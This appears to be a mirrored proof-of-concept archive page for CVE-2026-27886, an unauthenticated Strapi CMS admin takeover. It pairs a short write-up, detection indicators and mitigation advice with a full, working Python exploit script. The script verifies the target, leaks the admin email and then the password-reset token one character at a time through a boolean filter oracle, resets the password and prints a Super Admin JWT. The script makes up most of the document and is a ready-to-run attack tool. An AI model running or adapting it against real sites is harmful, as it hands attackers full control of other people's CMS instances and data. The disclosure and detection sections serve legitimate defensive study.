PoC Archive PoC Archive
Critical CVE-2026-27886 unpatched

Strapi CMS Admin Account Takeover via Query Filter Bypass — CVE-2026-27886

by thesw0rd · 2026-07-05

Severity
Critical
CVE
CVE-2026-27886
Category
web
Affected product
Strapi CMS (Content API)
Affected versions
Not specified in source (affects Strapi deployments exposing REST Content API collections)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherthesw0rd
CVE / AdvisoryCVE-2026-27886
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsstrapi, cms, account-takeover, password-reset, boolean-oracle, api-filter-bypass, authentication
RelatedN/A

Affected Target

FieldValue
Software / SystemStrapi CMS (Content API)
Versions AffectedNot specified in source (affects Strapi deployments exposing REST Content API collections)
Language / PlatformPython 3 (requests-based HTTP exploit script)
Authentication RequiredNo
Network Access RequiredYes

Summary

Strapi’s Content API allows unauthenticated query-parameter filtering on collection endpoints (e.g. /api/articles) that leaks internal relation data through a boolean oracle. The PoC abuses a where-style filter bypass to enumerate the admin user’s email address field-by-field by observing differing response counts (a classic blind boolean-based enumeration). Once the admin email is known, the script triggers Strapi’s built-in password-reset flow and then, through the same filter bypass, extracts the 40-character reset token from an internal relation before it is consumed. It then submits that token to Strapi’s reset-password endpoint to obtain a valid Super Admin JWT, completing a full unauthenticated account takeover chain.


Vulnerability Details

Root Cause

Strapi’s REST Content API does not adequately restrict which fields/relations can be filtered or returned via query parameters, allowing an anonymous caller to indirectly read sensitive fields (admin email, and later the password-reset token) through response-count/content differences (a boolean/data oracle) instead of proper access control enforcement.

Attack Vector

  1. Send a baseline request to a Content API collection endpoint and a crafted filtered request to confirm the oracle behaves differently (vulnerability verification).
  2. Use repeated filtered queries (~500 requests) to enumerate the admin account’s email address character by character via the oracle.
  3. Trigger Strapi’s native “forgot password” endpoint for the discovered admin email.
  4. Use the same filter-oracle technique (~320 requests) against the relation holding the reset token to exfiltrate the 40-character token before/without needing email access.
  5. Submit the recovered token to the password-reset endpoint to set a new admin password and immediately receive a Super Admin JWT.

Impact

Complete unauthenticated takeover of the Strapi Super Admin account, granting full administrative control over the CMS instance and all managed content/data.


Environment / Lab Setup

Target:   Strapi CMS instance with an internet/network-reachable Content API collection endpoint (e.g. /api/articles)
Attacker: Python 3, `requests` library, network access to the target Strapi instance

Proof of Concept

PoC Script

See cve-2026-27886-exploit.py in this folder.

1
2
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
./cve-2026-27886-exploit.py https://target/api/articles --email admin@example.com

The script first verifies the target is vulnerable, then (optionally) enumerates the admin email via the boolean oracle, triggers a password reset, extracts the reset token via the same oracle technique, and finally uses the token to reset the admin password and print a working Super Admin JWT.


Detection & Indicators of Compromise

Signs of compromise:

  • Bursts of 500+ sequential filtered API requests to the same Content API collection from a single source IP.
  • An admin password-reset flow completed shortly after such a burst, without the admin having requested it.
  • Unexpected Super Admin JWTs issued/used from unfamiliar IP addresses or user agents.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRestrict/remove public exposure of Content API filter parameters on sensitive relations, rate-limit and monitor password-reset endpoints, and rotate any admin credentials/tokens potentially exposed.

References


Notes

Mirrored from https://github.com/thesw0rd/CVE-2026-27886-PoC-Account-Takeover on 2026-07-05.

cve-2026-27886-exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#!/usr/bin/env python3
"""
CVE-2026-27886 Automated Account Takeover Exploit
Full chain: email enum → password reset trigger → token exfiltration → admin JWT
Bishop Fox Threat Enablement & Analysis

LEGAL: This script is for authorized security testing only (CTF, pentesting with permission).
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from typing import Optional, Tuple


DEFAULT_RELATION = "updatedBy"
DEFAULT_EMAIL_ALPHABET = "@.+-abcdefghijklmnopqrstuvwxyz0123456789"
DEFAULT_TOKEN_ALPHABET = "0123456789abcdef"
TOKEN_LENGTH = 40
USER_AGENT = "cve-2026-27886-exploit/1.0"


class ExploitError(Exception):
    """Raised when exploit chain fails."""


def http_get(url: str, timeout: float = 10.0) -> Tuple[int, str]:
    """GET request returning (status_code, body)."""
    req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            body = r.read().decode("utf-8")
            return r.status, body
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8") if e.fp else ""
        return e.code, body
    except (urllib.error.URLError, TimeoutError, OSError) as e:
        raise ExploitError(f"Network error: {e}")


def http_post_json(url: str, data: dict, timeout: float = 10.0) -> Tuple[int, dict]:
    """POST request with JSON, returning (status_code, response_json)."""
    body = json.dumps(data).encode("utf-8")
    req = urllib.request.Request(
        url,
        data=body,
        headers={"User-Agent": USER_AGENT, "Content-Type": "application/json"},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            resp_body = r.read().decode("utf-8")
            try:
                return r.status, json.loads(resp_body)
            except json.JSONDecodeError:
                return r.status, {"raw": resp_body}
    except urllib.error.HTTPError as e:
        resp_body = e.read().decode("utf-8") if e.fp else ""
        try:
            return e.code, json.loads(resp_body)
        except json.JSONDecodeError:
            return e.code, {"raw": resp_body}
    except (urllib.error.URLError, TimeoutError, OSError) as e:
        raise ExploitError(f"Network error: {e}")


def pagination_total(data) -> int:
    """Extract meta.pagination.total from API response."""
    if not isinstance(data, dict):
        return 0
    meta = data.get("meta") or {}
    pagination = meta.get("pagination") or {}
    try:
        return int(pagination.get("total") or 0)
    except (TypeError, ValueError):
        return 0


def parse_json_response(body: str) -> dict:
    """Parse JSON response body."""
    try:
        return json.loads(body)
    except json.JSONDecodeError:
        raise ExploitError(f"Non-JSON response: {body[:200]}")


def total_for_query(endpoint: str, params: dict) -> int:
    """Make request with params and return pagination.total."""
    if params:
        url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}"
    else:
        url = endpoint
    status, body = http_get(url)
    if status != 200:
        raise ExploitError(f"HTTP {status} from {url}")
    data = parse_json_response(body)
    return pagination_total(data)


def verify_vulnerable(endpoint: str) -> bool:
    """Check if endpoint is vulnerable using differential test."""
    print("[*] Verifying vulnerability...")
    try:
        baseline = total_for_query(endpoint, {})
        where_test = total_for_query(endpoint, {"where[id][$lt]": "-1"})
        is_vuln = baseline > 0 and where_test == 0
        if is_vuln:
            print(f"    [+] Vulnerable: baseline={baseline}, where_test={where_test}")
        else:
            print(f"    [-] Not vulnerable: baseline={baseline}, where_test={where_test}")
        return is_vuln
    except ExploitError as e:
        print(f"    [-] Error: {e}")
        return False


def enumerate_email(
    endpoint: str,
    relation: str = DEFAULT_RELATION,
    alphabet: str = DEFAULT_EMAIL_ALPHABET,
    max_len: int = 64,
    delay_s: float = 0.0,
) -> Optional[str]:
    """Brute-force admin email via $startsWith oracle."""
    print("[*] Enumerating admin email...")
    known = ""
    email_chars = []

    for position in range(max_len):
        found = False
        for c in alphabet:
            candidate = known + c
            params = {f"where[{relation}][email][$startsWith]": candidate}
            try:
                if total_for_query(endpoint, params) > 0:
                    known += c
                    email_chars.append(c)
                    print(f"    {known}", end="\r", flush=True)
                    found = True
                    break
            except ExploitError:
                pass
            if delay_s:
                time.sleep(delay_s)

        if not found:
            break

    if known:
        print(f"    [+] Found admin email: {known}")
        return known
    else:
        print("    [-] Failed to enumerate email")
        return None


def trigger_password_reset(base_url: str, admin_email: str) -> bool:
    """POST /admin/forgot-password to generate reset token."""
    print(f"[*] Triggering password reset for {admin_email}...")
    forgot_url = f"{base_url}/admin/forgot-password"
    try:
        status, resp = http_post_json(forgot_url, {"email": admin_email})
        # Strapi returns 204 on success (no content), ignores if email doesn't exist
        if status in (204, 200):
            print(f"    [+] Password reset triggered (HTTP {status})")
            return True
        else:
            print(f"    [-] Unexpected response: HTTP {status}")
            return False
    except ExploitError as e:
        print(f"    [-] Error: {e}")
        return False


def extract_reset_token(
    endpoint: str,
    relation: str = DEFAULT_RELATION,
    alphabet: str = DEFAULT_TOKEN_ALPHABET,
    length: int = TOKEN_LENGTH,
    delay_s: float = 0.0,
) -> Optional[str]:
    """Brute-force resetPasswordToken via $startsWith oracle."""
    print(f"[*] Extracting {length}-char reset token...")
    known = ""
    
    for position in range(length):
        found = False
        for c in alphabet:
            candidate = known + c
            params = {f"where[{relation}][resetPasswordToken][$startsWith]": candidate}
            try:
                if total_for_query(endpoint, params) > 0:
                    known += c
                    percent = int((position + 1) / length * 100)
                    print(f"    [{percent:3d}%] {known}", end="\r", flush=True)
                    found = True
                    break
            except ExploitError:
                pass
            if delay_s:
                time.sleep(delay_s)

        if not found:
            print(f"\n    [+] Token extraction complete: {known}")
            return known

    if len(known) >= length:
        print(f"\n    [+] Token extraction complete: {known}")
        return known
    else:
        print(f"\n    [-] Failed (only got {len(known)}/{length} chars)")
        return None


def reset_password_with_token(
    base_url: str, reset_token: str, new_password: str
) -> Optional[str]:
    """POST /admin/reset-password with token to get Super Admin JWT."""
    print(f"[*] Resetting password with stolen token...")
    reset_url = f"{base_url}/admin/reset-password"
    try:
        status, resp = http_post_json(
            reset_url,
            {"resetPasswordToken": reset_token, "password": new_password},
        )
        if status == 200 and "data" in resp:
            jwt = resp["data"].get("token")
            user = resp["data"].get("user", {})
            if jwt:
                print(f"    [+] Password reset successful!")
                print(f"    [+] JWT: {jwt[:50]}...")
                print(f"    [+] User: {user.get('email')} (ID: {user.get('id')})")
                return jwt
            else:
                print(f"    [-] Response missing JWT")
                return None
        else:
            print(f"    [-] Unexpected response: HTTP {status}")
            return None
    except ExploitError as e:
        print(f"    [-] Error: {e}")
        return None


def full_exploit(
    endpoint: str,
    base_url: str,
    admin_email: Optional[str] = None,
    new_password: str = "Pwned@123456",
    delay_s: float = 0.0,
) -> Optional[str]:
    """Run full account takeover chain."""
    print(f"\n[+] Target: {endpoint}")
    print(f"[+] Base URL: {base_url}")

    # Step 1: Verify vulnerability
    if not verify_vulnerable(endpoint):
        raise ExploitError("Target is not vulnerable")

    # Step 2: Enumerate email if not provided
    if not admin_email:
        admin_email = enumerate_email(endpoint, delay_s=delay_s)
        if not admin_email:
            raise ExploitError("Failed to enumerate admin email")
    else:
        print(f"[*] Using provided admin email: {admin_email}")

    # Step 3: Trigger password reset
    if not trigger_password_reset(base_url, admin_email):
        raise ExploitError("Failed to trigger password reset")

    # Step 4: Extract reset token
    reset_token = extract_reset_token(endpoint, delay_s=delay_s)
    if not reset_token:
        raise ExploitError("Failed to extract reset token")

    # Step 5: Reset password and get JWT
    jwt = reset_password_with_token(base_url, reset_token, new_password)
    if not jwt:
        raise ExploitError("Failed to reset password and get JWT")

    return jwt


def build_arg_parser() -> argparse.ArgumentParser:
    p = argparse.ArgumentParser(
        description=(
            "CVE-2026-27886 Automated Account Takeover Exploit. "
            "Extracts admin email, triggers password reset, steals reset token, and takes over admin account. "
            "For authorized security testing only."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    p.add_argument(
        "endpoint",
        help="Full URL to a public Strapi Content API collection (e.g. https://target/api/articles)",
    )
    p.add_argument(
        "-b",
        "--base-url",
        required=False,
        help="Base URL for /admin/* endpoints (defaults to endpoint's base, e.g., https://target)",
    )
    p.add_argument(
        "-e",
        "--email",
        required=False,
        help="Admin email (if known, skips enumeration)",
    )
    p.add_argument(
        "-p",
        "--password",
        default="Pwned@123456",
        help="New password to set (default: Pwned@123456)",
    )
    p.add_argument(
        "--delay",
        type=float,
        default=0.0,
        help="Per-request delay in seconds",
    )
    p.add_argument(
        "-v",
        "--verify-only",
        action="store_true",
        help="Only verify vulnerability, don't exploit",
    )
    return p


def main() -> int:
    args = build_arg_parser().parse_args()
    endpoint = args.endpoint.rstrip("/")

    # Determine base URL
    if args.base_url:
        base_url = args.base_url.rstrip("/")
    else:
        # Extract base from endpoint: https://target/api/articles → https://target
        parts = urllib.parse.urlparse(endpoint)
        base_url = f"{parts.scheme}://{parts.netloc}"

    try:
        if args.verify_only:
            if verify_vulnerable(endpoint):
                print("[+] Target is VULNERABLE to CVE-2026-27886")
                return 0
            else:
                print("[-] Target is NOT vulnerable")
                return 1

        jwt = full_exploit(
            endpoint=endpoint,
            base_url=base_url,
            admin_email=args.email,
            new_password=args.password,
            delay_s=args.delay,
        )
        print(f"\n[+] SUCCESS! Admin account compromised.")
        print(f"[+] JWT Token:\n{jwt}\n")
        print(f"[+] You can now use this JWT to access /admin/* endpoints")
        print(f"[+] Set Authorization header: Bearer {jwt}")
        return 0

    except ExploitError as e:
        print(f"\n[-] EXPLOIT FAILED: {e}")
        return 1
    except KeyboardInterrupt:
        print("\n\n[-] Interrupted by user")
        return 130


if __name__ == "__main__":
    sys.exit(main())